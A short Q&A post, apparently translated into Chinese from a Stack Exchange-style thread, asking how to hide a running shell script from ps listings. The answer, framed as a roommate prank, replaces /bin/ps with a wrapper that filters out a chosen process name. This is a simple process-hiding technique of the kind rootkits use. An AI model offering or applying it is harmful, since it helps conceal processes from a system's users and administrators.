如何通过 ps -ef 在后台隐藏 shell 脚本 运行

How to hide a shell script running in the background from ps -ef

我试图隐藏 ps -efps -aux 等在后台运行的 shell 脚本

目前当我输入 ps -ef 时,我看到:

/bin/bash ./script_name.sh 

我只需要隐藏那个特定的脚本。 我试图将 bashrc 文件作为 grep -v 脚本名称的别名,但没有成功。

因为这只是为了恶作剧你的室友,所以:

备份你的ps二进制文件:

mv /bin/ps /bin/ps.original

创建冒名顶替者ps:

cat > /bin/ps
#! /bin/bash

hide="thunderbird"
ps.original $@ | grep -v "$hide"

别忘了让它可执行:

chmod +x /bin/ps

上面的例子我隐藏了 thunderbird 但实际上可以是任何东西。